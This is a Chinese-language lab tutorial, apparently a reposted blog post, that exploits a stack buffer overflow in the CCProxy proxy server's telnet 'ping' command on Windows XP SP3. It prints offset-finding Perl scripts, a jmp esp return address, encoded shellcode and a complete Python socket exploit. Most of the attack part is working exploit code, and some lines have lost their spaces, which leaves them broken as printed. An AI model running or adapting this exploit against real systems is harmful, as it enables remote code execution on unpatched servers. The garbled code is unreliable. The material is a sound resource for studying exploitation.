CCProxy缓冲区溢出实验
一.实验环境说明
溢出对象:CCProxy(一款代理服务器软件,支持FTP和Telnet)
调试工具:CDB、WinDbg、OllyDBG、IDA Pro etc
实验环境:VMware Workstation Pro、windows xp sp3(关闭dep)、python3、ActivePerl
Windows XP SP3关闭DEP的方法:编辑C:\boot.ini文件,将/noexecute=optin 改为
/execute,重启系统
二.测试CCProxy是否存在漏洞
2.1 目标主机启动CCProxy
2.2 获得运行机器IP
在cmd输入ipconfig查看本地ip信息:
得到目标主机IP为192.168.1.104
2.3 Telnet连接CCProxy(23端口)
在cmd输入命令 telnet 192.168.1.104 23,得到返回消息:
2.4 调试工具挂起CCProxy
使用CDB调试工具将ccproxy挂起:cdb.exe -pn ccproxy;
输入g继续运行,调试工具开始运行
2.5 ping命令输入测试
在之前的telnet 192.168.1.104 23窗口中,1. 先 ping AAAA 2. 再 ping Ax1000 (可以是其他字符) 3. 再 ping Ax2000 (可以是其他字符,这里要求字符不同,方便确定字符的相对位置)
如果终端提示“Host not found”,说明CCProxy正确地处理了这个畸形数据,仍工作正常;如果终端提示“失去了跟主机的连接”,表明CCProxy已经崩溃
- Ping AAAA结果:
- ping Ax1000结果:
- ping Ax2000结果:
客户端显示失去了跟主机的连接,并且ccproxy报错:
2.6 cdb调试工具报错分析
cdb窗口界面出现access violation报错
首先看到EIP的内容为41414141(字符A的ASCII码是0x41);这是因为栈中存放RET值的地方已经被41414141覆盖,当函数返回时,就将这个值弹出到EIP寄存器;EIP中存放的是程序下一条指令的地址。但程序在0x41414141地址处找不到可执行的指令,因此报错。
输入dd查看esi和esp寄存器中的值
2.7 结论
CCProxy的缓冲区溢出条件在ping 1000个字符~2000个字符之间,因为ping Ax1000时程序并没有崩溃,但ping Ax2000时程序发送崩溃了;
在ping Ax2000时,目前已知RET的值和ESP指向地址的值都处于我们输入的范围;
三.测试溢出思路
一般来说,攻击者要实现缓冲区溢出攻击,必须完成两个任务,一是在程序的地址空间里安排适当的代码;二是通过适当的初始化寄存器和存储器,让程序跳转到安排好的地址空间执行。
我们的思路:将shellcode放在ESP寄存器指向的内存单元中,然后在RET位置填充一条指向jmp esp指令的地址,于是函数返回时,就能执行jmp esp,跳转到ESP指向的shellcode上运行
3.1 获取RET相对偏移量
获取方法:利用一串不重复的字符填充缓冲区,然后查看覆盖RET的字符串,计算它们在整个字符串中的位置,从而得出缓冲区的大小及RET的偏移
编写patternCreate.pl脚本代码生成2000个不重复的字符,patternCreate.pl主要代码如下:
sub PatternCreate{my($length)=@_;my($X,$Y,$Z);my$res;while(1){formy$X("A".."Z"){formy$Y("a".."z"){formy$Z(0..9){$res.=$X;return$resif length($res)>=$length;$res.=$Y;return$resif length($res)>=$length;$res.=$Z;return$resif length($res)>=$length;}}}}}
在对应目录下输入:perl.exe patternCreate.pl 1.txt 2000运行,生成的2000个字符保存在1.txt中:
生成的2000个字符如下:
Telnet到目标主机23端口,ping 1.txt中的字符串,将这串生成的字符串通过ping命令发送到ccproxy,cdb捕捉到异常
从图中可以看到EIP寄存器的值为:0x68423768;通过patternOffset.pl计算出它在整个长为2000的字符串中的偏移。
patternOffset.pl代码如下:
sub PatternOffset{my$pattern= shift;my$address= shift;my$endian=@_? shift():'V';my@results;my($idx,$lst)=(0,0);$address= pack($endian, hex($address));$idx= index($pattern,$address,$lst);while($idx>0){
push @results,$idx;$lst=$idx+1;$idx= index($pattern,$address,$lst);}return@results;}
在cmd中输入perl.exe patternOffset.pl 68423768 2000运行脚本:
这说明,RET相对缓冲区起始地址的偏移大小是1012字节。
3.2 获取jmp esp指令地址
在Windows系统的许多DLL中都能找到jmp esp(FF E4)这样一条指令,一个通用的地址是0x7ffa4512(前人经验)
在CDB下使用U 7ffa4512来确定该处指令是JMP ESP
确认成功
3.3 获取程序崩溃时,ESP相对偏移量
使用和3.1获取RET偏移量同样的方法获取ESP偏移量:
- 用CDB挂起CCProxy.exe
- 利用patternCreate.pl生成长为2000的字符串
- 用ping命令向目标主机发送这个字符串
- 在CDB捕捉到CCProxy.exe的崩溃事件时,查看ESP的内容为0x61413161
- 用patternOffset.pl计算出它在整个长为2000的字符串中的偏移
在cmd命令行输入perl.exe patternOffset.pl 61413161 2000,运行脚本:
这说明ESP指向字符串的第4个字节
3.4 思路整理
前面分析,ping后接字符串的1012字节位置开始的4个字节将覆盖RET;于是,我们便可以在字符串的这个位置上填充0x120x450xfa0x7f;程序运行到此,就会转向地址0x7ffa4512找到jmp esp指令并执行;从3.3可以得知ESP指向字符串的第4个字节,因此,我们把shellcode放在字符串的第4个字节处,这样程序运行到ESP,就可以运行我们自己定义的shellcode.
构造好的exploit的结构如下所示:
四.shellcode构造
4.1 攻击目标
使用python脚本对正在运行的CCProxy发起缓冲区溢出攻击,使得其在本机开启计算器程序。
4.2 代码大致框架
- Socket编程
- 连接目标主机(connect)
- 构造溢出字符串(即构造后接shellcode的ping命令:ping shellcode\r\n)
- 向目标主机发送溢出字符串(send)
- 关闭连接
4.3 攻击代码
打开本机计算器的shellcode(前人经验)如下:z
shellcode = b"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30" + \
b"\x42\x36\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42" + \
b"\x30\x41\x44\x41\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54\x42\x50\x42\x50\x42\x30\x4b\x58\x45\x34" + \
b"\x4e\x33\x4b\x38\x4e\x37\x45\x30\x4a\x57\x41\x30\x4f\x4e\x4b\x48\x4f\x44\x4a\x31\x4b\x38\x4f\x45\x42\x52\x41\x30\x4b\x4e" + \
b"\x49\x54\x4b\x38\x46\x53\x4b\x48\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x59\x4e\x4a\x46\x38\x42\x4c\x46\x47\x47\x30\x41\x4c" + \
b"\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e\x46\x4f\x4b\x53\x46\x45\x46\x32\x46\x50\x45\x37\x45\x4e\x4b\x48\x4f\x45\x46\x42" + \
b"\x41\x30\x4b\x4e\x48\x46\x4b\x38\x4e\x50\x4b\x44\x4b\x58\x4f\x45\x4e\x41\x41\x50\x4b\x4e\x4b\x48\x4e\x51\x4b\x38\x41\x50" + \
b"\x4b\x4e\x49\x48\x4e\x35\x46\x52\x46\x50\x43\x4c\x41\x33\x42\x4c\x46\x56\x4b\x38\x42\x34\x42\x53\x45\x38\x42\x4c\x4a\x37" + \
b"\x4e\x50\x4b\x38\x42\x54\x4e\x50\x4b\x48\x42\x37\x4e\x31\x4d\x4a\x4b\x48\x4a\x46\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x48" + \
b"\x42\x4b\x42\x30\x42\x30\x42\x30\x4b\x38\x4a\x36\x4e\x33\x4f\x55\x41\x53\x48\x4f\x42\x46\x48\x45\x49\x48\x4a\x4f\x43\x58" + \
b"\x42\x4c\x4b\x37\x42\x55\x4a\x56\x42\x4f\x4c\x58\x46\x30\x4f\x35\x4a\x46\x4a\x49\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f" + \
b"\x47\x4e\x43\x56\x41\x46\x4e\x36\x43\x46\x42\x30\x5a"
总体python攻击代码如下:
import socket
defsend(code,host='192.168.1.104',port=23):with socket.socket(socket.AF_INET,socket.SOCK_STREAM)as sock:
sock.connect((host,port))
data =b'ping '+ code +b'\r\n'
sock.send(data)
sock.recv(1000)#在本机打开计算器软件shellcode
shellcode = your shellcode
#jmp esp返回地址
RET_addr =bytes.fromhex('7ffa4512')[::-1]
attackcode =((b"\x90"*4+ shellcode).ljust(1012,b"\x90")+ RET_addr).ljust(2000,b"\x90")
五.攻击测试
打开ccproxy并用cdb挂起,telnet连接到主机端口
打开cmd,运行python,将代码复制进去按回车,输入send(attackcode)回车:
程序执行,计算器程序弹出,cdb中记录程序溢出详细情况
缓冲区溢出攻击成功!
版权归原作者 程哥哥吖 所有, 如有侵权,请联系我们删除。